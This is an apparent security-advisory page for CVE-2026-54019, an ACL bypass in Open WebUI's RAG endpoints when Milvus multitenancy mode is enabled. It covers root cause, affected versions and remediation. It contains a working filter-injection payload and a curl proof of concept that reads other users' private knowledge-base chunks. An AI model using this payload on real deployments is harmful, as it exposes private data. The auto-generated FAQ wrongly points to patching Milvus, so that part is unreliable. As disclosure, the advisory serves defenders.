CVE-2026-54019: Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode

Published Jun 17, 2026
·
Updated

RAG ACL Bypass in Milvus Multitenancy Mode

Summary

This is a bypass of the fix for:

- GHSA-h36f-rqpx-j5wx - CVE-2026-44560 - "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"

Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resourceid and is interpolated into a Milvus expression without escaping.

An authenticated non-admin user can query:

text x' or resourceid != '' or resourceid == 'x

This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:

text resourceid == 'x' or resourceid != '' or resourceid == 'x'

That returns private knowledge-base chunks belonging to other users.

Affected Configuration

Tested on:

text Open WebUI: v0.9.5, commit 3660bc00f VECTORDB=milvus ENABLEMILVUSMULTITENANCYMODE=true

This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.

Impact

An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.

Root Cause

ACL permits unknown collection names:

python backend/openwebui/retrieval/utils.py elif not await Knowledges.getknowledgebyid(name): validated.add(name)

Milvus multitenancy then treats the same name as resourceid and builds unsafe expressions:

python backend/openwebui/retrieval/vector/dbs/milvusmultitenancy.py expr=f"{RESOURCEIDFIELD} == '{resourceid}'"

Affected paths include:

text POST /api/v1/retrieval/query/collection POST /api/v1/retrieval/query/doc

PoC

Request:

bash curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H "Content-Type: application/json" \ --data-binary @- <<'JSON' { "collectionnames": [ "x' or resourceid != '' or resourceid == 'x" ], "query": "anything", "k": 10, "hybrid": false } JSON

Actual result: private chunks from other users' knowledge collections are returned.

Expected result: request should be rejected with 403 or return no unauthorized content.

Remediation

1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints. 2. Escape or parameterize Milvus expression values before building filters. 3. Reject collection names containing quotes/control characters unless they match a known internal format. 4. Add a regression test for this payload in Milvus multitenancy mode:

text x' or resourceid != '' or resourceid == 'x

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resourceid and is interpolated into a Milvus expression without escaping. This is caused by an incomplete fix for CVE-2026-44560 This vulnerability is fixed in 0.9.6.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.9.5
0.9.6
openwebui Open WebUI<0.9.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/open-webui to a version that resolves this vulnerability.

    Fixed in 0.9.6
  2. Upgrade

    Upgrade Open WebUI to a version that resolves this vulnerability.

    Fixed in 0.9.6Patch CVE-2026-44560
  3. Configuration

    Disable Milvus multitenancy mode (the bypass is stated to occur when Milvus multitenancy mode is enabled).

    Open WebUI (Milvus multitenancy mode) ENABLE_MILVUS_MULTITENANCY_MODE = false
  4. Configuration

    Escape or parameterize Milvus expression values before building filters, because in Milvus multitenancy mode the user-controlled collection name becomes a `resource_id` interpolated into a Milvus expression without escaping.

    Open WebUI RAG vector/Milvus query builder (Milvus expression) Milvus expression value handling for resource_id = escaped/parameterized
  5. Configuration

    Reject collection names containing quotes/control characters unless they match a known internal format; also do not allow arbitrary unknown collection names in user-controlled RAG query endpoints (return 403 or no unauthorized content).

    Open WebUI collection-name validation collection_name acceptance rules = reject unknown/unsafe

Event History

Jun 17, 2026
Advisory Published
via GitHub·05:57 PM
Data Sourced
via GitHub·05:57 PM
DescriptionSeverityWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·04:41 PM
Data Sourced
via MITRE·04:41 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-54019?

The severity of CVE-2026-54019 is rated as medium with a score of 6.5.

2

What type of vulnerability is associated with CVE-2026-54019?

CVE-2026-54019 is an access control list (ACL) bypass vulnerability in Milvus Multitenancy Mode.

3

How does CVE-2026-54019 affect the security of Milvus?

CVE-2026-54019 allows unauthorized access to file and knowledge base content via RAG vector search, posing a risk of sensitive data exposure.

4

What steps should be taken to address CVE-2026-54019?

To mitigate CVE-2026-54019, it is recommended to implement additional access control measures and update to the latest patched version of the Milvus software.

5

Can CVE-2026-54019 be exploited remotely?

Yes, CVE-2026-54019 can be exploited remotely due to the API's accessibility when the security configurations are bypassed.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203